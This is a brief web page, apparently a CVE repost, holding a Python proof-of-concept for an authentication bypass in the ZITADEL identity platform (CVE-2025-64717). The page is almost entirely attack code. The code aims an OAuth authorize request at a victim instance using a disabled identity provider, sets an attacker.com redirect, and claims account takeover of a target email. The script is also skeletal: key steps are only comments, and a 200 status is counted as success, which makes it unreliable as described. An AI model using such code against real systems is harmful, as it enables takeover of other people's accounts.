CVE-2025-64717 ZITADEL身份管理平台IdP自动链接认证绕过漏洞

# CVE-2025-64717 PoC - ZITADEL IdP Auto-linking Bypass # This PoC demonstrates the authentication bypass via disabled IdP auto-linking import requests import json TARGET_ZITADEL = "https://vulnerable-zitadel-instance.com" ATTACKER_IDP = "https://attacker-controlled-idp.com" TARGET_USER_EMAIL = "[email protected]" def exploit_cve_2025_64717(): """ Exploitation steps for CVE-2025-64717: 1. Identify a ZITADEL instance with vulnerable versions 2. Find an IdP that should be disabled for the target organization 3. Initiate authentication flow using the disabled IdP 4. Provide external identity matching target user's criteria 5. Achieve account takeover via auto-linking """ # Step 1: Discover organizations and their IdP configurations org_query = f"{TARGET_ZITADEL}/admin/v1/organizations" # Step 2: Initiate auth flow with disabled IdP auth_init = f"{TARGET_ZITADEL}/oauth/v2/authorize" params = { "client_id": "attacker_client", "redirect_uri": "https://attacker.com/callback", "response_type": "code", "scope": "openid profile email", "idp_id": "disabled_idp_id", # IdP that should be disabled "login_hint": TARGET_USER_EMAIL } # Step 3: Send authentication request (bypassing disabled IdP check) response = requests.get(auth_init, params=params) # Step 4: Complete authentication with matching external identity # System will auto-link to target user account print(f"[*] Target: {TARGET_ZITADEL}") print(f"[*] Exploiting IdP auto-linking bypass...") print(f"[!] If successful, attacker gains access to: {TARGET_USER_EMAIL}") return response.status_code == 200 if __name__ == "__main__": exploit_cve_2025_64717()